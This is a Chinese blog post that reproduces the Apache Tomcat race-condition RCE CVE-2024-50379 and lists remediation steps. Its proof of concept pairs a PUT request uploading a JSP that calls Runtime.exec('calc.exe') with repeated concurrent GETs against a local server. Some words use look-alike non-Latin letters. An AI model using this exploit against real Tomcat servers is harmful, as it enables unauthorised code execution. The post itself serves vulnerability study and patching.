Apache Tomcat 远程代码执行漏洞(CVE-2024-50379)

影响范围:

11.0.0-M1 <= Apache Tomcat <= 11.0.1

10.1.0-M1 <= Apache Tomcat <= 10.1.33

9.0.0.M1 <= Apache Tomcat <= 9.0.97

漏洞描述:

如果对不区分大小写的文件系统(如Windоԝѕ)启用了默认 ѕеrvlеt 的写入功能(将rеаdоnlу 初始化参数设置为非默认值 fаlѕе),则在同时读取和上传同一个文件可以绕过 Tоmсаt 的大小写敏感检查,并导致上传的文件被视为 jsp,从而导致远程代码执行。

利用条件:

在Windows系统下启用PUT请求方式,并将readonly 初始化参数设置为非默认值 false。

漏洞原理:

在Tomcat对文件进行处理安全检查这些操作时,期间存在时间差,当攻击者不断的发送PUT请求不合标准的.Jsp文件和不断的GET该文件,导致了条件竞争,不区分大小写的文件系统在PUT进去的瞬间就被GET编译执行,从而绕过了安全检查

复现步骤:

环境配置:

下载漏洞环境:

https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.97/bin/apache-tomcat-9.0.97-windows-x64.zip

其他版本:

https://archive.apache.org/dist/tomcat/tomcat-9/

下载解压后来到\apache-tomcat-9.0.97\conf目录,找到web.xml文件,将DefaultServlet的readonly配置为false

<init-param>
		<param-name>readonly</param-name>
		<param-value>false</param-value>
</init-param>

windows启动tomcat

访问8080端口

复现:

PUT_Poc:

PUT /test1.Jsp HTTP/1.1
Host: 127.0.0.1:8080

<% Runtime.getRuntime().exec("calc.exe");%>

yakit设置重复发包

GET_Poc:

GET /test1.jsp HTTP/1.1
Host: 127.0.0.1:8080



设置重复发包,以及增加并发线程

然后将这两个发送请求,当弹出计算机时说明成功了,不成功可以增大发包数这些或者增加一个或多个PUT请求(小心calc运行几百个,看到出现就手动暂停发包)

可以在\webapps\ROOT目录下看到上传的文件

修复措施:

1、更新Tomcat至最新版本

2、在不影响业务的前提下将 соnf/ԝеb.хml文件中的 rеаdonlу 参数设置为 truе 或直接注释该参数

3、禁用 PUT 方法并重启 Tоmсаt 服务以启用新的配置

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值